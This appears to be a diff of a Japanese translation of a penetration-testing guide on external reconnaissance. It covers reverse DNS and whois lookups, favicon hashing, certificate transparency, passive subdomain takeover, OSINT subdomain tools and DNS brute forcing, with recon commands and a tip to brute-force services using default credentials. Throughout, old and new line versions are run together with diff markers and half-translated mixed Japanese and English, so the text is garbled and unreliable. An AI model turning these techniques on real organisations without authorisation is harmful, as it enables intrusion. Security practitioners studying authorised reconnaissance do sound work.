この時点で、**スコープ内のすべての資産**を把握しているので、許可されている場合は、すべてのホストに対して **脆弱性スキャナ**Nessus、OpenVASを実行することができます。\ この時点で、**スコープ内のすべての資産**がわかっているので、許可されている場合は、すべてのホストに対して**脆弱性スキャナ**Nessus、OpenVASを実行することができます。\
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ**、見つけた内容に応じて、この書籍で実行する可能性のある複数のサービスのペンテスト方法を確認することができます。\ また、いくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するか、shodanのようなサービスを使用して**オープンポートを見つけることができ、見つけたものに応じて、この本を参照して、実行中のいくつかのサービスをペンテストする方法を確認するべきです。**\
**また、デフォルトのユーザー名**と**パスワード**のリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスを**ブルートフォース**することもできます。 **また、デフォルトのユーザー名**と**パスワードのリストを準備し、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースすることも価値があるかもしれません。**
## ドメイン ## ドメイン
> スコープ内のすべての企業とその資産を把握しています。スコープ内のドメインを見つける時が来ました > スコープ内のすべての企業とその資産がわかったので、スコープ内のドメインを見つける時です
_以下の提案された技術を使用すると、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_ _以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
まず、各企業の **メインドメイン** を探す必要があります。例えば、_Tesla Inc._ の場合は _tesla.com_ になります。 まず、各企業の**主要なドメイン**を探すべきです。例えば、_Tesla Inc._の場合、_tesla.com_になります。
### **逆引きDNS** ### **逆引きDNS**
ドメインのすべてのIP範囲を見つけたので、それらの **IPに逆引きDNSルックアップ**を試みて、スコープ内の追加のドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー1.1.1.1、8.8.8.8)を使用してみてください。 ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。** 被害者のDNSサーバーまたは一般的なDNSサーバー1.1.1.1、8.8.8.8)を使用してみてください。
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
``` ```
### **リバースWhoisループ** For this to work, the administrator has to enable manually the PTR.\
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行するとたとえば、同じメールアドレスが登場する他のwhoisレジストリ**、**企業に関連するさらなる資産を見つけることができる**ということです。\ ### **Reverse Whois (loop)**
以下のようなオンラインツールを使用できます:
Inside a **whois** you can find a lot of interesting **情報** like **組織名**, **住所**, **メールアドレス**, 電話番号... しかし、さらに興味深いのは、**これらのフィールドのいずれかで逆whois検索を行うと、**会社に関連する**より多くの資産を見つけることができる**ことです例えば、同じメールが表示される他のwhoisレジストリ。\
You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
* [https://www.whoxy.com/](https://www.whoxy.com) - **無料** web、APIは無料ではありません * [https://www.whoxy.com/](https://www.whoxy.com) - **無料**ウェブ、無料ではないAPI
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 有料 * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではない
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 有料(**100回無料**検索 * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではない(**100回の無料**検索のみ
* [https://www.domainiq.com/](https://www.domainiq.com) - 有料 * [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではない
[**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できますwhoxy APIキーが必要です\ You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
また、[amass](https://github.com/OWASP/Amass)を使用して自動的なリバースWhois検出を行うこともできます `amass intel -d tesla.com -whois` You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**新しいドメインを見つけるたびに、このテクニックを使用してさらに多くのドメイン名を発見できることに注意してください。** **Note that you can use this technique to discover more domain names every time you find a new domain.**
### **トラッカー** ### **Trackers**
2つの異なるページで**同じトラッカーの同じID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推測できます。\ If find the **同じトラッカーの同じID** in 2 different pages you can suppose that **両方のページ** are **同じチームによって管理されている**と推測できます。\
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合です。 For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
これらのトラッカーやその他の情報を検索できるいくつかのページやツールがあります: There are some pages and tools that let you search by these trackers and more:
* [**Udon**](https://github.com/dhn/udon) * [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com) * [**BuiltWith**](https://builtwith.com)
@ -128,20 +132,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon** ### **Favicon**
ターゲットに関連するドメインやサブドメインを見つけるために、同じfaviconアイコンハッシュを探すことができることを知っていましたかこれは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です: Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Heres how to use it:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
``` ```
![favihash - 同じファビコンアイコンハッシュを持つドメインを発見する](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) ![favihash - 同じfaviconアイコンハッシュを持つドメインを発見する](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
単純に言えば、favihashを使用すると、ターゲットと同じファビコンアイコンハッシュを持つドメインを発見できます。 簡単に言うと、favihashはターゲットと同じfaviconアイコンハッシュを持つドメインを発見することを可能にします。
さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、Webテクロジーの脆弱なバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。 さらに、[**このブログ記事**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、faviconハッシュを使用して技術を検索することもできます。つまり、**脆弱なバージョンのウェブ技術のfaviconのハッシュ**を知っていれば、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
これがウェブの**ファビコンハッシュを計算する方法**です: これはウェブの**ファビコンハッシュ**を計算する方法です:
```python ```python
import mmh3 import mmh3
import requests import requests
@ -154,72 +158,75 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}") print(f"{url} : {fhash}")
return fhash return fhash
``` ```
### **著作権 / ユニークな文字列** ### **Copyright / Uniq string**
同じ組織内の異なるウェブ間で共有される可能性のある文字列をウェブページ内で検索します。**著作権文字列**は良い例です。その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"` 異なるウェブサイト間で**同じ組織内で共有される可能性のある文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
### **CRT 時間** ### **CRT Time**
次のようなクーロンジョブを持つことが一般的です。 cronジョブを持つことは一般的です。
```bash ```bash
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
``` ```
### メールDMARC情報 to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) のようなウェブサイトや[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) のようなツールを使用して、**同じdmarc情報を共有するドメインとサブドメインを見つける**ことができます。 ### Mail DMARC情報
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **同じdmarc情報を共有するドメインとサブドメイン**.
### **パッシブテイクオーバー** ### **パッシブテイクオーバー**
一般的に、人々はクラウドプロバイダーに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることがよくあります。したがって、クラウドDigital OceanでVMを起動するだけで、実際にはいくつかのサブドメインを**引き継ぐ**ことができます。 Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
[**この記事**](https://kmsec.uk/blog/passive-takeover/) では、そのことについて説明し、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトを提案しています。 [**この投稿**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
### **その他の方法** ### **他の方法**
**新しいドメインを見つけるたびにこのテクニックを使用できることに注意してください。** **Note that you can use this technique to discover more domain names every time you find a new domain.**
**Shodan** **Shodan**
すでにIPスペースを所有している組織の名前を知っている場合、`org:"Tesla, Inc."` を使用してShodanでそのデータを検索できます。TLS証明書で新しい予期しないドメインを見つけてください。 As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得してから、**shodan**で知られているすべてのウェブページの**TLS証明書**内でその名前を検索します。フィルター:`ssl:"Tesla Motors"` を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch) のようなツールを使用します。 You could access the **TLS証明書** of the main web page, obtain the **組織名** and then search for that name inside the **TLS証明書** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder** **Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) は、メインドメインに関連する**ドメイン**とそれらの**サブドメイン**を探すツールで、非常に素晴らしいです。 [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン** and **そのサブドメイン**, pretty amazing.
### **脆弱性を探す** ### **脆弱性の探索**
[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。 Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
アセットの発見で見つけたIPとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**NessusやOpenVASを使用と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\ If you find any **IPが異なるドメイン** from the ones you already found in the assets discovery, you should perform a **基本的な脆弱性スキャン** (using Nessus or OpenVAS) and some [**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_クライアントが制御していないIP内にホストされている場合があるため、スコープ外の場合がありますので、注意してください。_ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大**$100,000**のバウンティを獲得し始めましょう! **バグバウンティのヒント**: **サインアップ** for **Intigriti**, a premium **バグバウンティプラットフォーム created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## サブドメイン ## サブドメイン
> スコープ内のすべての企業、各企業のすべての資産、および企業に関連するすべてのドメインを知っています。 > We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
見つかった各ドメインの可能なすべてのサブドメインを見つける時が来ました。 It's time to find all the possible subdomains of each found domain.
{% hint style="success" %} {% hint style="success" %}
ドメインを見つけるための一部のツールやテクニックは、サブドメインを見つけるのにも役立つ場合があります! Note that some of the tools and techniques to find domains can also help to find subdomains!
{% endhint %} {% endhint %}
### **DNS** ### **DNS**
**DNS**レコードから**サブドメイン**を取得しましょう。**ゾーン転送**も試してみるべきです(脆弱性がある場合は報告する必要があります)。 Let's try to get **サブドメイン** from the **DNS** records. We should also try for **ゾーン転送** (If vulnerable, you should report it).
```bash ```bash
dnsrecon -a -d tesla.com dnsrecon -a -d tesla.com
``` ```
### **OSINT** ### **OSINT**
大量のサブドメインを取得する最速の方法は、外部ソースで検索することです。最もよく使われる**ツール**は以下のものです(より良い結果を得るためには、APIキーを設定してください 多くのサブドメインを迅速に取得する最も早い方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りです(より良い結果を得るためにAPIキーを設定してください
* [**BBOT**](https://github.com/blacklanternsecurity/bbot) * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash ```bash
@ -268,9 +275,9 @@ vita -d tesla.com
```bash ```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
``` ```
次のような、サブドメインを見つけることに直接特化していないが、サブドメインを見つけるのに役立つかもしれない**他の興味深いツール/API**があります: 他にも**興味深いツール/API**があり、サブドメインを見つけることに特化していなくても、サブドメインを見つけるのに役立つかもしれません。例えば:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用 * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。
```bash ```bash
# Get list of subdomains in output from the API # Get list of subdomains in output from the API
## This is the API the crobat tool will use ## This is the API the crobat tool will use
@ -300,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
} }
crt tesla.com crt tesla.com
``` ```
* [**gau**](https://github.com/lc/gau)**:** 特定のドメインからAlienVaultのOpen Threat Exchange、Wayback Machine、Common Crawlに既知のURLを取得します。 * [**gau**](https://github.com/lc/gau)**:** 任意のドメインに対して、AlienVaultのOpen Threat Exchange、Wayback Machine、およびCommon Crawlから既知のURLを取得します。
```bash ```bash
# Get subdomains from GAUs found URLs # Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u gau --subs tesla.com | cut -d "/" -f 3 | sort -u
``` ```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクレイピングし、JSファイルからサブドメインを抽出します。 * [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): これらはウェブをスクレイピングしてJSファイルを探し、そこからサブドメインを抽出します。
```bash ```bash
# Get only subdomains from SubDomainizer # Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -320,7 +327,7 @@ shodan domain <domain>
# Get other pages with links to subdomains # Get other pages with links to subdomains
shodan search "http.html:help.domain.com" shodan search "http.html:help.domain.com"
``` ```
* [**Censysサブドメイン検出ツール**](https://github.com/christophetd/censys-subdomain-finder) * [**Censysサブドメインファインダー**](https://github.com/christophetd/censys-subdomain-finder)
```bash ```bash
export CENSYS_API_ID=... export CENSYS_API_ID=...
export CENSYS_API_SECRET=... export CENSYS_API_SECRET=...
@ -330,18 +337,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash ```bash
python3 DomainTrail.py -d example.com python3 DomainTrail.py -d example.com
``` ```
* [**securitytrails.com**](https://securitytrails.com/) は、サブドメインやIPの履歴を検索するための無料APIを提供しています * [**securitytrails.com**](https://securitytrails.com/) は、サブドメインとIP履歴を検索するための無料APIを提供しています
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用してアクセスすることもできますし、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
これらのツールの**比較**ここで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) これらのツールの**比較**ここで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNSブルートフォース** ### **DNSブルートフォース**
可能なサブドメイン名を使用してDNSサーバーをブルートフォースし新しい**サブドメイン**を見つけてみましょう。 可能なサブドメイン名を使用してDNSサーバーをブルートフォースし新しい**サブドメイン**を見つけてみましょう。
このアクションには、次のような**一般的なサブドメインのワードリスト**が必要です: このアクションには、いくつかの**一般的なサブドメインのワードリスト**が必要です:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -349,77 +356,77 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
さらに、信頼できるDNSリゾルバのIPアドレスも必要です。信頼できるDNSリゾルバのリストを生成するに、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングします。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。 また、良好なDNSリゾルバのIPも必要です。信頼できるDNSリゾルバのリストを生成するために、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator)を使用してフィルタリングすることができます。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)を使用することもできます。
DNSブルートフォースに最も推奨されるツールは次のとおりです: DNSブルートフォースに最も推奨されるツールは次のとおりです:
* [**massdns**](https://github.com/blechschmidt/massdns): これは効果的なDNSブルートフォースを実行した最初のツールです。非常に高速ですが、誤検知しやすいです。 * [**massdns**](https://github.com/blechschmidt/massdns): これは効果的なDNSブルートフォースを実行した最初のツールです。非常に高速ですが、誤検知が発生しやすいです。
```bash ```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います * [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。Go言語で書かれています。 * [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` のラッパーで、Go で書かれており、アクティブブルートフォースを使用して有効なサブドメインを列挙することができ、ワイルドカード処理と簡単な入出力サポートを使用してサブドメインを解決することができます。
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
* [**puredns**](https://github.com/d3mondev/puredns): それは`massdns`も使用します。 * [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用します。
``` ```
puredns bruteforce all.txt domain.com puredns bruteforce all.txt domain.com
``` ```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、ドメイン名を非同期でブルートフォースするためにasyncioを使用します。 * [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、非同期にドメイン名をブルートフォースするために asyncio を使用します。
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### 第二のDNSブルートフォースラウンド ### 第二のDNSブルートフォースラウンド
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます: オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つけたサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。 * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。
```bash ```bash
cat subdomains.txt | dnsgen - cat subdomains.txt | dnsgen -
``` ```
* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。 * [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えると、順列を生成します。
* goaltdnsの順列**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)から入手できます。 * goaltdnsの順列**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)入手できます。
```bash ```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
``` ```
* [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインが与えられた場合、順列を生成します。順列ファイルが指定されていない場合、gotator は独自のファイルを使用します。 * [**gotator**](https://github.com/Josue87/gotator)**:** ドメインとサブドメインを与えると、順列を生成します。順列ファイルが指定されていない場合、gotatorは独自のファイルを使用します。
``` ```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
* [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようともします(ただし、以前にコメントされたツールを使用する方が良いです)。 * [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようとすることもできます(ただし、前述のツールを使用する方が良いです)。
* altdnsの順列は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 * altdnsの順列の**wordlist**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、および変更を実行する別のツール。このツールは結果を総当たり攻撃しますdnsワイルドカードはサポートされていません)。 * [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を行うための別のツール。このツールは結果をブルートフォースしますDNSワイルドカードはサポートしていません)。
* [**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)からdmutの順列ワードリストを入手できます。 * dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)から取得できます。
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、より多くのサブドメインを発見しようとします。 * [**alterx**](https://github.com/projectdiscovery/alterx)**:** 指定されたパターンに基づいて、**新しい潜在的なサブドメイン名を生成**し、より多くのサブドメインを発見しようとします。
#### スマートな順列生成 #### スマートな順列生成
* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**post**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。 * [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**の**主要部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。
```bash ```bash
python3 main.py adobe.com adobe adobe.rules python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid puredns resolve adobe.brute --write adobe.valid
